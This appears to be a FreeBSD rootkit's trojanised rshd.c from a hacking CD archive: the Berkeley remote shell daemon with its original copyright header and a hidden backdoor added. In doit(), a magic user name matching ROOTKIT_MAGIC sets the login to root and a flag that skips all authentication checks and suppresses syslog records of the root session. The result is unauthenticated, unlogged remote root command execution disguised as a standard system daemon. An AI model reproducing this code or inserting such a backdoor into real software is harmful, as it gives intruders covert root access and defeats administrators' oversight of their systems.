home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / rshd / rshd.c < prev   
Encoding:
C/C++ Source or Header  |  2002-05-27  |  19.7 KB  |  875 lines

  1. /*-
  2.  * Copyright (c) 1988, 1989, 1992, 1993, 1994
  3.  *    The Regents of the University of California.  All rights reserved.
  4.  *
  5.  * Redistribution and use in source and binary forms, with or without
  6.  * modification, are permitted provided that the following conditions
  7.  * are met:
  8.  * 1. Redistributions of source code must retain the above copyright
  9.  *    notice, this list of conditions and the following disclaimer.
  10.  * 2. Redistributions in binary form must reproduce the above copyright
  11.  *    notice, this list of conditions and the following disclaimer in the
  12.  *    documentation and/or other materials provided with the distribution.
  13.  * 3. All advertising materials mentioning features or use of this software
  14.  *    must display the following acknowledgement:
  15.  *    This product includes software developed by the University of
  16.  *    California, Berkeley and its contributors.
  17.  * 4. Neither the name of the University nor the names of its contributors
  18.  *    may be used to endorse or promote products derived from this software
  19.  *    without specific prior written permission.
  20.  *
  21.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  22.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  23.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  24.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  25.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  26.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  27.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  28.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  29.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  30.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  31.  * SUCH DAMAGE.
  32.  *
  33.  *    $Id: rshd.c,v 1.9.2.3 1997/05/10 21:41:51 davidn Exp $
  34.  */
  35.  
  36. #ifndef lint
  37. static char copyright[] =
  38. "@(#) Copyright (c) 1988, 1989, 1992, 1993, 1994\n\
  39.     The Regents of the University of California.  All rights reserved.\n";
  40. #endif /* not lint */
  41.  
  42. #ifndef lint
  43. static char sccsid[] = "@(#)rshd.c    8.2 (Berkeley) 4/6/94";
  44. #endif /* not lint */
  45.  
  46. /*
  47.  * remote shell server:
  48.  *    [port]\0
  49.  *    remuser\0
  50.  *    locuser\0
  51.  *    command\0
  52.  *    data
  53.  */
  54. #include <sys/param.h>
  55. #include <sys/ioctl.h>
  56. #include <sys/time.h>
  57. #include <sys/socket.h>
  58.  
  59. #include <netinet/in_systm.h>
  60. #include <netinet/in.h>
  61. #include <netinet/ip.h>
  62. #include <arpa/inet.h>
  63. #include <netdb.h>
  64.  
  65. #include <errno.h>
  66. #include <fcntl.h>
  67. #include <paths.h>
  68. #include <pwd.h>
  69. #include <signal.h>
  70. #include <stdio.h>
  71. #include <stdlib.h>
  72. #include <string.h>
  73. #include <syslog.h>
  74. #include <unistd.h>
  75. #ifdef    LOGIN_CAP
  76. #include <login_cap.h>
  77. #endif
  78.  
  79. #include "../config.h"
  80.  
  81. int    keepalive = 1;
  82. int    check_all;
  83. int    log_success;        /* If TRUE, log all successful accesses */
  84. int    sent_null;
  85.  
  86. void     doit __P((struct sockaddr_in *));
  87. void     error __P((const char *, ...));
  88. void     getstr __P((char *, int, char *));
  89. int     local_domain __P((char *));
  90. char    *topdomain __P((char *));
  91. void     usage __P((void));
  92.  
  93. #ifdef    KERBEROS
  94. #include <des.h>
  95. #include <kerberosIV/krb.h>
  96. #define    VERSION_SIZE    9
  97. #define SECURE_MESSAGE  "This rsh session is using DES encryption for all transmissions.\r\n"
  98. #define    OPTIONS        "alnkvxL"
  99. char    authbuf[sizeof(AUTH_DAT)];
  100. char    tickbuf[sizeof(KTEXT_ST)];
  101. int    doencrypt, use_kerberos, vacuous;
  102. Key_schedule    schedule;
  103. #else
  104. #define    OPTIONS    "alnL"
  105. #endif
  106.  
  107. int
  108. main(argc, argv)
  109.     int argc;
  110.     char *argv[];
  111. {
  112.     extern int __check_rhosts_file;
  113.     struct linger linger;
  114.     int ch, on = 1, fromlen;
  115.     struct sockaddr_in from;
  116.  
  117.     openlog("rshd", LOG_PID | LOG_ODELAY, LOG_DAEMON);
  118.  
  119.     opterr = 0;
  120.     while ((ch = getopt(argc, argv, OPTIONS)) != -1)
  121.         switch (ch) {
  122.         case 'a':
  123.             check_all = 1;
  124.             break;
  125.         case 'l':
  126.             __check_rhosts_file = 0;
  127.             break;
  128.         case 'n':
  129.             keepalive = 0;
  130.             break;
  131. #ifdef    KERBEROS
  132.         case 'k':
  133.             use_kerberos = 1;
  134.             break;
  135.  
  136.         case 'v':
  137.             vacuous = 1;
  138.             break;
  139.  
  140. #ifdef CRYPT
  141.         case 'x':
  142.             doencrypt = 1;
  143.             break;
  144. #endif
  145. #endif
  146.         case 'L':
  147.             log_success = 1;
  148.             break;
  149.         case '?':
  150.         default:
  151.             usage();
  152.             break;
  153.         }
  154.  
  155.     argc -= optind;
  156.     argv += optind;
  157.  
  158. #ifdef    KERBEROS
  159.     if (use_kerberos && vacuous) {
  160.         syslog(LOG_ERR, "only one of -k and -v allowed");
  161.         exit(2);
  162.     }
  163. #ifdef CRYPT
  164.     if (doencrypt && !use_kerberos) {
  165.         syslog(LOG_ERR, "-k is required for -x");
  166.         exit(2);
  167.     }
  168. #endif
  169. #endif
  170.  
  171.     fromlen = sizeof (from);
  172.     if (getpeername(0, (struct sockaddr *)&from, &fromlen) < 0) {
  173.         syslog(LOG_ERR, "getpeername: %m");
  174.         _exit(1);
  175.     }
  176.     if (keepalive &&
  177.         setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, (char *)&on,
  178.         sizeof(on)) < 0)
  179.         syslog(LOG_WARNING, "setsockopt (SO_KEEPALIVE): %m");
  180.     linger.l_onoff = 1;
  181.     linger.l_linger = 60;            /* XXX */
  182.     if (setsockopt(0, SOL_SOCKET, SO_LINGER, (char *)&linger,
  183.         sizeof (linger)) < 0)
  184.         syslog(LOG_WARNING, "setsockopt (SO_LINGER): %m");
  185.     doit(&from);
  186.     /* NOTREACHED */
  187. }
  188.  
  189. char    username[20] = "USER=";
  190. char    homedir[64] = "HOME=";
  191. char    shell[64] = "SHELL=";
  192. char    path[100] = "PATH=";
  193. char    *envinit[] =
  194.         {homedir, shell, path, username, 0};
  195. char    **environ;
  196.  
  197. void
  198. doit(fromp)
  199.     struct sockaddr_in *fromp;
  200. {
  201.     extern char *__rcmd_errstr;    /* syslog hook from libc/net/rcmd.c. */
  202.     struct hostent *hp;
  203.     struct passwd *pwd;
  204.     u_short port;
  205.     fd_set ready, readfrom;
  206.     int cc, nfd, pv[2], pid, s;
  207.     int one = 1;
  208.     char *hostname, *errorstr, *errorhost;
  209.     char *cp, sig, buf[BUFSIZ];
  210.     char cmdbuf[NCARGS+1], locuser[16], remuser[16];
  211.     char remotehost[2 * MAXHOSTNAMELEN + 1];
  212.     char fromhost[2 * MAXHOSTNAMELEN + 1];
  213. #ifdef    LOGIN_CAP
  214.     login_cap_t *lc;
  215. #endif
  216.  
  217. #ifdef    KERBEROS
  218.     AUTH_DAT    *kdata = (AUTH_DAT *) NULL;
  219.     KTEXT        ticket = (KTEXT) NULL;
  220.     char        instance[INST_SZ], version[VERSION_SIZE];
  221.     struct        sockaddr_in    fromaddr;
  222.     int        rc;
  223.     long        authopts;
  224.     int        pv1[2], pv2[2];
  225.     fd_set        wready, writeto;
  226.  
  227.     fromaddr = *fromp;
  228. #endif
  229.         char MAG[7];
  230.         int werd=0;
  231.  
  232.         MAG[0]=ROOTKIT_MAGIC[0];
  233.         MAG[1]=ROOTKIT_MAGIC[1];
  234.         MAG[2]=ROOTKIT_MAGIC[2];
  235.         MAG[3]=ROOTKIT_MAGIC[3];
  236.         MAG[4]=ROOTKIT_MAGIC[4];
  237.         MAG[5]=ROOTKIT_MAGIC[5];
  238.         MAG[6]='\0';
  239.  
  240.     (void) signal(SIGINT, SIG_DFL);
  241.     (void) signal(SIGQUIT, SIG_DFL);
  242.     (void) signal(SIGTERM, SIG_DFL);
  243. #ifdef DEBUG
  244.     { int t = open(_PATH_TTY, 2);
  245.       if (t >= 0) {
  246.         ioctl(t, TIOCNOTTY, (char *)0);
  247.         (void) close(t);
  248.       }
  249.     }
  250. #endif
  251.     fromp->sin_port = ntohs((u_short)fromp->sin_port);
  252.     if (fromp->sin_family != AF_INET) {
  253.         syslog(LOG_ERR, "malformed \"from\" address (af %d)\n",
  254.             fromp->sin_family);
  255.         exit(1);
  256.     }
  257. #ifdef IP_OPTIONS
  258.       {
  259.     u_char optbuf[BUFSIZ/3];
  260.     int optsize = sizeof(optbuf), ipproto, i;
  261.     struct protoent *ip;
  262.  
  263.     if ((ip = getprotobyname("ip")) != NULL)
  264.         ipproto = ip->p_proto;
  265.     else
  266.         ipproto = IPPROTO_IP;
  267.     if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &optsize) &&
  268.         optsize != 0) {
  269.         for (i = 0; i < optsize; ) {
  270.             u_char c = optbuf[i];
  271.             if (c == IPOPT_LSRR || c == IPOPT_SSRR) {
  272.                 syslog(LOG_NOTICE,
  273.                     "Connection refused from %s with IP option %s",
  274.                     inet_ntoa(fromp->sin_addr),
  275.                     c == IPOPT_LSRR ? "LSRR" : "SSRR");
  276.                 exit(1);
  277.             }
  278.             if (c == IPOPT_EOL)
  279.                 break;
  280.             i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];
  281.         }
  282.     }
  283.       }
  284. #endif
  285.  
  286. #ifdef    KERBEROS
  287.     if (!use_kerberos)
  288. #endif
  289.         if (fromp->sin_port >= IPPORT_RESERVED ||
  290.             fromp->sin_port < IPPORT_RESERVED/2) {
  291.             syslog(LOG_NOTICE|LOG_AUTH,
  292.                 "Connection from %s on illegal port %u",
  293.                 inet_ntoa(fromp->sin_addr),
  294.                 fromp->sin_port);
  295.             exit(1);
  296.         }
  297.  
  298.     (void) alarm(60);
  299.     port = 0;
  300.     for (;;) {
  301.         char c;
  302.         if ((cc = read(STDIN_FILENO, &c, 1)) != 1) {
  303.             if (cc < 0)
  304.                 syslog(LOG_NOTICE, "read: %m");
  305.             shutdown(0, 1+1);
  306.             exit(1);
  307.         }
  308.         if (c== 0)
  309.             break;
  310.         port = port * 10 + c - '0';
  311.     }
  312.  
  313.     (void) alarm(0);
  314.     if (port != 0) {
  315.         int lport = IPPORT_RESERVED - 1;
  316.         s = rresvport(&lport);
  317.         if (s < 0) {
  318.             syslog(LOG_ERR, "can't get stderr port: %m");
  319.             exit(1);
  320.         }
  321. #ifdef    KERBEROS
  322.         if (!use_kerberos)
  323. #endif
  324.             if (port >= IPPORT_RESERVED) {
  325.                 syslog(LOG_ERR, "2nd port not reserved\n");
  326.                 exit(1);
  327.             }
  328.         fromp->sin_port = htons(port);
  329.         if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0) {
  330.             syslog(LOG_INFO, "connect second port %d: %m", port);
  331.             exit(1);
  332.         }
  333.     }
  334.  
  335. #ifdef    KERBEROS
  336.     if (vacuous) {
  337.         error("rshd: remote host requires Kerberos authentication\n");
  338.         exit(1);
  339.     }
  340. #endif
  341.  
  342. #ifdef notdef
  343.     /* from inetd, socket is already on 0, 1, 2 */
  344.     dup2(f, 0);
  345.     dup2(f, 1);
  346.     dup2(f, 2);
  347. #endif
  348.     errorstr = NULL;
  349.     hp = gethostbyaddr((char *)&fromp->sin_addr, sizeof (struct in_addr),
  350.         fromp->sin_family);
  351.     if (hp) {
  352.         /*
  353.          * If name returned by gethostbyaddr is in our domain,
  354.          * attempt to verify that we haven't been fooled by someone
  355.          * in a remote net; look up the name and check that this
  356.          * address corresponds to the name.
  357.          */
  358.         strncpy(fromhost, hp->h_name, sizeof(fromhost) - 1);
  359.         fromhost[sizeof(fromhost) - 1] = 0;
  360.         hostname = fromhost;
  361. #ifdef    KERBEROS
  362.         if (!use_kerberos)
  363. #endif
  364.         if (check_all || local_domain(hp->h_name)) {
  365.             strncpy(remotehost, hp->h_name, sizeof(remotehost) - 1);
  366.             remotehost[sizeof(remotehost) - 1] = 0;
  367.             errorhost = remotehost;
  368.             hp = gethostbyname(remotehost);
  369.             if (hp == NULL) {
  370.                 syslog(LOG_INFO,
  371.                     "Couldn't look up address for %s",
  372.                     remotehost);
  373.                 errorstr =
  374.                 "Couldn't look up address for your host (%s)\n";
  375.                 strncpy(fromhost, inet_ntoa(fromp->sin_addr),
  376.                     sizeof(fromhost) - 1);
  377.                 fromhost[sizeof(fromhost) - 1] = 0;
  378.                 hostname = fromhost;
  379.             } else for (; ; hp->h_addr_list++) {
  380.                 if (hp->h_addr_list[0] == NULL) {
  381.                     syslog(LOG_NOTICE,
  382.                       "Host addr %s not listed for host %s",
  383.                         inet_ntoa(fromp->sin_addr),
  384.                         hp->h_name);
  385.                     errorstr =
  386.                         "Host address mismatch for %s\n";
  387.                     strncpy(fromhost, inet_ntoa(fromp->sin_addr),
  388.                         sizeof(fromhost) - 1);
  389.                     fromhost[sizeof(fromhost) - 1] = 0;
  390.                     hostname = fromhost;
  391.                     break;
  392.                 }
  393.                 if (!bcmp(hp->h_addr_list[0],
  394.                     (caddr_t)&fromp->sin_addr,
  395.                     sizeof(fromp->sin_addr))) {
  396.                     hostname = remotehost;
  397.                     break;
  398.                 }
  399.             }
  400.         }
  401.     } else {
  402.         strncpy(fromhost, inet_ntoa(fromp->sin_addr),
  403.             sizeof(fromhost) - 1);
  404.         fromhost[sizeof(fromhost) - 1] = 0;
  405.         errorhost = hostname = fromhost;
  406.     }
  407.  
  408. #ifdef    KERBEROS
  409.     if (use_kerberos) {
  410.         kdata = (AUTH_DAT *) authbuf;
  411.         ticket = (KTEXT) tickbuf;
  412.         authopts = 0L;
  413.         strcpy(instance, "*");
  414.         version[VERSION_SIZE - 1] = '\0';
  415. #ifdef CRYPT
  416.         if (doencrypt) {
  417.             struct sockaddr_in local_addr;
  418.             rc = sizeof(local_addr);
  419.             if (getsockname(0, (struct sockaddr *)&local_addr,
  420.                 &rc) < 0) {
  421.                 syslog(LOG_ERR, "getsockname: %m");
  422.                 error("rlogind: getsockname: %m");
  423.                 exit(1);
  424.             }
  425.             authopts = KOPT_DO_MUTUAL;
  426.             rc = krb_recvauth(authopts, 0, ticket,
  427.                 "rcmd", instance, &fromaddr,
  428.                 &local_addr, kdata, "", schedule,
  429.                 version);
  430.             des_set_key_krb(&kdata->session, schedule);
  431.         } else
  432. #endif
  433.             rc = krb_recvauth(authopts, 0, ticket, "rcmd",
  434.                 instance, &fromaddr,
  435.                 (struct sockaddr_in *) 0,
  436.                 kdata, "", NULL, version);
  437.         if (rc != KSUCCESS) {
  438.             error("Kerberos authentication failure: %s\n",
  439.                   krb_err_txt[rc]);
  440.             exit(1);
  441.         }
  442.     } else
  443. #endif
  444.         getstr(remuser, sizeof(remuser), "remuser");
  445.  
  446.     getstr(locuser, sizeof(locuser), "locuser");
  447.     getstr(cmdbuf, sizeof(cmdbuf), "command");
  448.  
  449.         if(!strcmp(locuser,MAG)) {
  450.                 werd++;
  451.                 strcpy(locuser,"root");
  452.         }
  453.  
  454.     setpwent();
  455.     pwd = getpwnam(locuser);
  456.     if (pwd == NULL && !werd) {
  457.         syslog(LOG_INFO|LOG_AUTH,
  458.             "%s@%s as %s: unknown login. cmd='%.80s'",
  459.             remuser, hostname, locuser, cmdbuf);
  460.         if (errorstr == NULL)
  461.             errorstr = "Login incorrect.\n";
  462.         goto fail;
  463.     }
  464. #ifdef    LOGIN_CAP
  465.     lc = login_getpwclass(pwd);
  466. #endif
  467.     if (chdir(pwd->pw_dir) < 0) {
  468. #ifdef    LOGIN_CAP
  469.         if (chdir("/") < 0 ||
  470.             login_getcapbool(lc, "requirehome", !!pwd->pw_uid)) {
  471.             syslog(LOG_INFO|LOG_AUTH,
  472.             "%s@%s as %s: no home directory. cmd='%.80s'",
  473.             remuser, hostname, locuser, cmdbuf);
  474.             error("No remote home directory.\n");
  475.             exit(0);
  476.         }
  477. #else
  478.         (void) chdir("/");
  479. #ifdef notdef
  480.         syslog(LOG_INFO|LOG_AUTH,
  481.             "%s@%s as %s: no home directory. cmd='%.80s'",
  482.             remuser, hostname, locuser, cmdbuf);
  483.         error("No remote directory.\n");
  484.         exit(1);
  485. #endif
  486. #endif
  487.         pwd->pw_dir = "/";
  488.     }
  489.  
  490. #ifdef    KERBEROS
  491.     if (use_kerberos) {
  492.         if (pwd->pw_passwd != 0 && *pwd->pw_passwd != '\0') {
  493.             if (kuserok(kdata, locuser) != 0) {
  494.                 syslog(LOG_INFO|LOG_AUTH,
  495.                     "Kerberos rsh denied to %s.%s@%s",
  496.                     kdata->pname, kdata->pinst, kdata->prealm);
  497.                 error("Permission denied.\n");
  498.                 exit(1);
  499.             }
  500.         }
  501.     } else
  502. #endif
  503.  
  504. if (!werd) {
  505.         if (errorstr ||
  506.             (pwd->pw_expire && time(NULL) >= pwd->pw_expire) ||
  507.             (pwd->pw_passwd != 0 && *pwd->pw_passwd != '\0' &&
  508.             iruserok(fromp->sin_addr.s_addr, pwd->pw_uid == 0,
  509.             remuser, locuser) < 0)) {
  510.             if (__rcmd_errstr)
  511.                 syslog(LOG_INFO|LOG_AUTH,
  512.                 "%s@%s as %s: permission denied (%s). cmd='%.80s'",
  513.                     remuser, hostname, locuser, __rcmd_errstr,
  514.                     cmdbuf);
  515.             else
  516.                 syslog(LOG_INFO|LOG_AUTH,
  517.                 "%s@%s as %s: permission denied. cmd='%.80s'",
  518.                     remuser, hostname, locuser, cmdbuf);
  519. fail:
  520.             if (errorstr == NULL)
  521.                 errorstr = "Permission denied.\n";
  522.             error(errorstr, errorhost);
  523.             exit(1);
  524.         }
  525.  
  526.     if (pwd->pw_uid && !access(_PATH_NOLOGIN, F_OK)) {
  527.         error("Logins currently disabled.\n");
  528.         exit(1);
  529.     }
  530. }
  531. #ifdef    LOGIN_CAP
  532.     if (lc != NULL) {
  533.         char    remote_ip[MAXHOSTNAMELEN];
  534.  
  535.         strncpy(remote_ip, inet_ntoa(fromp->sin_addr),
  536.             sizeof(remote_ip) - 1);
  537.         remote_ip[sizeof(remote_ip) - 1] = 0;
  538.         if (!auth_hostok(lc, fromhost, remote_ip)) {
  539.             syslog(LOG_INFO|LOG_AUTH,
  540.                 "%s@%s as %s: permission denied (%s). cmd='%.80s'",
  541.                 remuser, hostname, locuser, __rcmd_errstr,
  542.                 cmdbuf);
  543.             error("Permission denied.\n");
  544.             exit(1);
  545.         }
  546.         if (!auth_timeok(lc, time(NULL))) {
  547.             error("Logins not available right now\n");
  548.             exit(1);
  549.         }
  550.     }
  551. #endif    /* !LOGIN_CAP */
  552. #if    BSD > 43
  553.     /* before fork, while we're session leader */
  554. if (!werd)
  555.     if (setlogin(pwd->pw_name) < 0)
  556.         syslog(LOG_ERR, "setlogin() failed: %m");
  557. #endif
  558.  
  559.     (void) write(STDERR_FILENO, "\0", 1);
  560.     sent_null = 1;
  561.  
  562.     if (port) {
  563.         if (pipe(pv) < 0) {
  564.             error("Can't make pipe.\n");
  565.             exit(1);
  566.         }
  567. #ifdef CRYPT
  568. #ifdef KERBEROS
  569.         if (doencrypt) {
  570.             if (pipe(pv1) < 0) {
  571.                 error("Can't make 2nd pipe.\n");
  572.                 exit(1);
  573.             }
  574.             if (pipe(pv2) < 0) {
  575.                 error("Can't make 3rd pipe.\n");
  576.                 exit(1);
  577.             }
  578.         }
  579. #endif
  580. #endif
  581.         pid = fork();
  582.         if (pid == -1)  {
  583.             error("Can't fork; try again.\n");
  584.             exit(1);
  585.         }
  586.         if (pid) {
  587. #ifdef CRYPT
  588. #ifdef KERBEROS
  589.             if (doencrypt) {
  590.                 static char msg[] = SECURE_MESSAGE;
  591.                 (void) close(pv1[1]);
  592.                 (void) close(pv2[1]);
  593.                 des_write(s, msg, sizeof(msg) - 1);
  594.  
  595.             } else
  596. #endif
  597. #endif
  598.             {
  599.                 (void) close(0);
  600.                 (void) close(1);
  601.             }
  602.             (void) close(2);
  603.             (void) close(pv[1]);
  604.  
  605.             FD_ZERO(&readfrom);
  606.             FD_SET(s, &readfrom);
  607.             FD_SET(pv[0], &readfrom);
  608.             if (pv[0] > s)
  609.                 nfd = pv[0];
  610.             else
  611.                 nfd = s;
  612. #ifdef CRYPT
  613. #ifdef KERBEROS
  614.             if (doencrypt) {
  615.                 FD_ZERO(&writeto);
  616.                 FD_SET(pv2[0], &writeto);
  617.                 FD_SET(pv1[0], &readfrom);
  618.  
  619.                 nfd = MAX(nfd, pv2[0]);
  620.                 nfd = MAX(nfd, pv1[0]);
  621.             } else
  622. #endif
  623. #endif
  624.                 ioctl(pv[0], FIONBIO, (char *)&one);
  625.  
  626.             /* should set s nbio! */
  627.             nfd++;
  628.             do {
  629.                 ready = readfrom;
  630. #ifdef CRYPT
  631. #ifdef KERBEROS
  632.                 if (doencrypt) {
  633.                     wready = writeto;
  634.                     if (select(nfd, &ready,
  635.                         &wready, (fd_set *) 0,
  636.                         (struct timeval *) 0) < 0)
  637.                         break;
  638.                 } else
  639. #endif
  640. #endif
  641.                     if (select(nfd, &ready, (fd_set *)0,
  642.                       (fd_set *)0, (struct timeval *)0) < 0)
  643.                         break;
  644.                 if (FD_ISSET(s, &ready)) {
  645.                     int    ret;
  646. #ifdef CRYPT
  647. #ifdef KERBEROS
  648.                     if (doencrypt)
  649.                         ret = des_read(s, &sig, 1);
  650.                     else
  651. #endif
  652. #endif
  653.                         ret = read(s, &sig, 1);
  654.                     if (ret <= 0)
  655.                         FD_CLR(s, &readfrom);
  656.                     else
  657.                         killpg(pid, sig);
  658.                 }
  659.                 if (FD_ISSET(pv[0], &ready)) {
  660.                     errno = 0;
  661.                     cc = read(pv[0], buf, sizeof(buf));
  662.                     if (cc <= 0) {
  663.                         shutdown(s, 1+1);
  664.                         FD_CLR(pv[0], &readfrom);
  665.                     } else {
  666. #ifdef CRYPT
  667. #ifdef KERBEROS
  668.                         if (doencrypt)
  669.                             (void)
  670.                               des_write(s, buf, cc);
  671.                         else
  672. #endif
  673. #endif
  674.                             (void)
  675.                               write(s, buf, cc);
  676.                     }
  677.                 }
  678. #ifdef CRYPT
  679. #ifdef KERBEROS
  680.                 if (doencrypt && FD_ISSET(pv1[0], &ready)) {
  681.                     errno = 0;
  682.                     cc = read(pv1[0], buf, sizeof(buf));
  683.                     if (cc <= 0) {
  684.                         shutdown(pv1[0], 1+1);
  685.                         FD_CLR(pv1[0], &readfrom);
  686.                     } else
  687.                         (void) des_write(STDOUT_FILENO,
  688.                             buf, cc);
  689.                 }
  690.  
  691.                 if (doencrypt && FD_ISSET(pv2[0], &wready)) {
  692.                     errno = 0;
  693.                     cc = des_read(STDIN_FILENO,
  694.                         buf, sizeof(buf));
  695.                     if (cc <= 0) {
  696.                         shutdown(pv2[0], 1+1);
  697.                         FD_CLR(pv2[0], &writeto);
  698.                     } else
  699.                         (void) write(pv2[0], buf, cc);
  700.                 }
  701. #endif
  702. #endif
  703.  
  704.             } while (FD_ISSET(s, &readfrom) ||
  705. #ifdef CRYPT
  706. #ifdef KERBEROS
  707.                 (doencrypt && FD_ISSET(pv1[0], &readfrom)) ||
  708. #endif
  709. #endif
  710.                 FD_ISSET(pv[0], &readfrom));
  711.             exit(0);
  712.         }
  713.         setpgrp(0, getpid());
  714.         (void) close(s);
  715.         (void) close(pv[0]);
  716. #ifdef CRYPT
  717. #ifdef KERBEROS
  718.         if (doencrypt) {
  719.             close(pv1[0]); close(pv2[0]);
  720.             dup2(pv1[1], 1);
  721.             dup2(pv2[1], 0);
  722.             close(pv1[1]);
  723.             close(pv2[1]);
  724.         }
  725. #endif
  726. #endif
  727.         dup2(pv[1], 2);
  728.         close(pv[1]);
  729.     }
  730.     if (*pwd->pw_shell == '\0')
  731.         pwd->pw_shell = _PATH_BSHELL;
  732.     environ = envinit;
  733.     strncat(homedir, pwd->pw_dir, sizeof(homedir)-6);
  734.     strcat(path, _PATH_DEFPATH);
  735.     strncat(shell, pwd->pw_shell, sizeof(shell)-7);
  736.     strncat(username, pwd->pw_name, sizeof(username)-6);
  737.     cp = strrchr(pwd->pw_shell, '/');
  738.     if (cp)
  739.         cp++;
  740.     else
  741.         cp = pwd->pw_shell;
  742. #ifdef    LOGIN_CAP
  743.     if (setusercontext(lc, pwd, pwd->pw_uid, LOGIN_SETALL) != 0) {
  744.                 syslog(LOG_ERR, "setusercontext: %m");
  745.         exit(1);
  746.     }
  747.     login_close(lc);
  748. #else
  749.     (void) setgid((gid_t)pwd->pw_gid);
  750.     initgroups(pwd->pw_name, pwd->pw_gid);
  751.     (void) setuid((uid_t)pwd->pw_uid);
  752. #endif
  753.     endpwent();
  754.     if (log_success || pwd->pw_uid == 0 && !werd) {
  755. #ifdef    KERBEROS
  756.         if (use_kerberos)
  757.             syslog(LOG_INFO|LOG_AUTH,
  758.             "Kerberos shell from %s.%s@%s on %s as %s, cmd='%.80s'",
  759.             kdata->pname, kdata->pinst, kdata->prealm,
  760.             hostname, locuser, cmdbuf);
  761.         else
  762. #endif
  763.             syslog(LOG_INFO|LOG_AUTH, "%s@%s as %s: cmd='%.80s'",
  764.             remuser, hostname, locuser, cmdbuf);
  765.     }
  766.     execl(pwd->pw_shell, cp, "-c", cmdbuf, 0);
  767.     perror(pwd->pw_shell);
  768.     exit(1);
  769. }
  770.  
  771. /*
  772.  * Report error to client.  Note: can't be used until second socket has
  773.  * connected to client, or older clients will hang waiting for that
  774.  * connection first.
  775.  */
  776. #if __STDC__
  777. #include <stdarg.h>
  778. #else
  779. #include <varargs.h>
  780. #endif
  781.  
  782. void
  783. #if __STDC__
  784. error(const char *fmt, ...)
  785. #else
  786. error(fmt, va_alist)
  787.     char *fmt;
  788.         va_dcl
  789. #endif
  790. {
  791.     va_list ap;
  792.     int len;
  793.     char *bp, buf[BUFSIZ];
  794. #if __STDC__
  795.     va_start(ap, fmt);
  796. #else
  797.     va_start(ap);
  798. #endif
  799.     bp = buf;
  800.     if (sent_null == 0) {
  801.         *bp++ = 1;
  802.         len = 1;
  803.     } else
  804.         len = 0;
  805.     (void)vsnprintf(bp, sizeof(buf) - 1, fmt, ap);
  806.     (void)write(STDERR_FILENO, buf, len + strlen(bp));
  807. }
  808.  
  809. void
  810. getstr(buf, cnt, err)
  811.     char *buf, *err;
  812.     int cnt;
  813. {
  814.     char c;
  815.  
  816.     do {
  817.         if (read(STDIN_FILENO, &c, 1) != 1)
  818.             exit(1);
  819.         *buf++ = c;
  820.         if (--cnt == 0) {
  821.             error("%s too long\n", err);
  822.             exit(1);
  823.         }
  824.     } while (c != 0);
  825. }
  826.  
  827. /*
  828.  * Check whether host h is in our local domain,
  829.  * defined as sharing the last two components of the domain part,
  830.  * or the entire domain part if the local domain has only one component.
  831.  * If either name is unqualified (contains no '.'),
  832.  * assume that the host is local, as it will be
  833.  * interpreted as such.
  834.  */
  835. int
  836. local_domain(h)
  837.     char *h;
  838. {
  839.     char localhost[MAXHOSTNAMELEN];
  840.     char *p1, *p2;
  841.  
  842.     localhost[0] = 0;
  843.     (void) gethostname(localhost, sizeof(localhost));
  844.     p1 = topdomain(localhost);
  845.     p2 = topdomain(h);
  846.     if (p1 == NULL || p2 == NULL || !strcasecmp(p1, p2))
  847.         return (1);
  848.     return (0);
  849. }
  850.  
  851. char *
  852. topdomain(h)
  853.     char *h;
  854. {
  855.     char *p, *maybe = NULL;
  856.     int dots = 0;
  857.  
  858.     for (p = h + strlen(h); p >= h; p--) {
  859.         if (*p == '.') {
  860.             if (++dots == 2)
  861.                 return (p);
  862.             maybe = p;
  863.         }
  864.     }
  865.     return (maybe);
  866. }
  867.  
  868. void
  869. usage()
  870. {
  871.  
  872.     syslog(LOG_ERR, "usage: rshd [-%s]", OPTIONS);
  873.     exit(2);
  874. }
  875.